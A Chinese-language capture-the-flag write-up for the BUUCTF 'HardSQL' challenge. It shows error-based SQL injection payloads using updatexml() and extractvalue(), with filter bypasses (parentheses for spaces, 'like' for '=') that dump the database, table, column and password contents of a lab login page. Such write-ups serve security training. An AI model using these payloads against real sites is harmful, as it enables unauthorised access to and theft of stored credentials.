题目

打开页面显示为

查看源代码没有发现其他的提示信息,随便尝试一下

错误

题目名为hardsql,先来尝试有无sql注入存在
尝试输入单引号输入

显示页面存在注入

这里按照常规思路继续使用order by函数和union select函数进行查询,但是页面没有任何显示

上述测试闭合时返回了错误信息,用bp抓包,看一下过滤的,发现用于报错的注入函数没有被过滤

使用updatexml
通过查询可知,updatexml在执行时,第二个参数应该为合法的xpath路径,否则会引发报错的同时将传入的参数进行输出
先查询数据库,构造payload
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

可得知数据库名为geek
查询表,构造payload
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

得到表
查字段,构造payload
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=123

可以得到字段名
然后查询想要的字段
构造payload
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=123
发现flag显示不全,函数显示有字符数限制

使用right可得到另一半
构造payload
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123

使用extractvalue()
这里空格和=没有,使用()代替空格,使用like代替=
查数据库
构造payload
/check.php?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(database()))))%23

查表
构造payload
/check.php?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

查字段
构造payload
/check.php?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

查数据
/check.php?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

这里也是显示不全,按照上面的updatexml后的方法进行补全即可
参考文章链接:
buuctf-[极客大挑战 2019]HardSQL(小宇特详解)_小宇特详解的博客-CSDN博客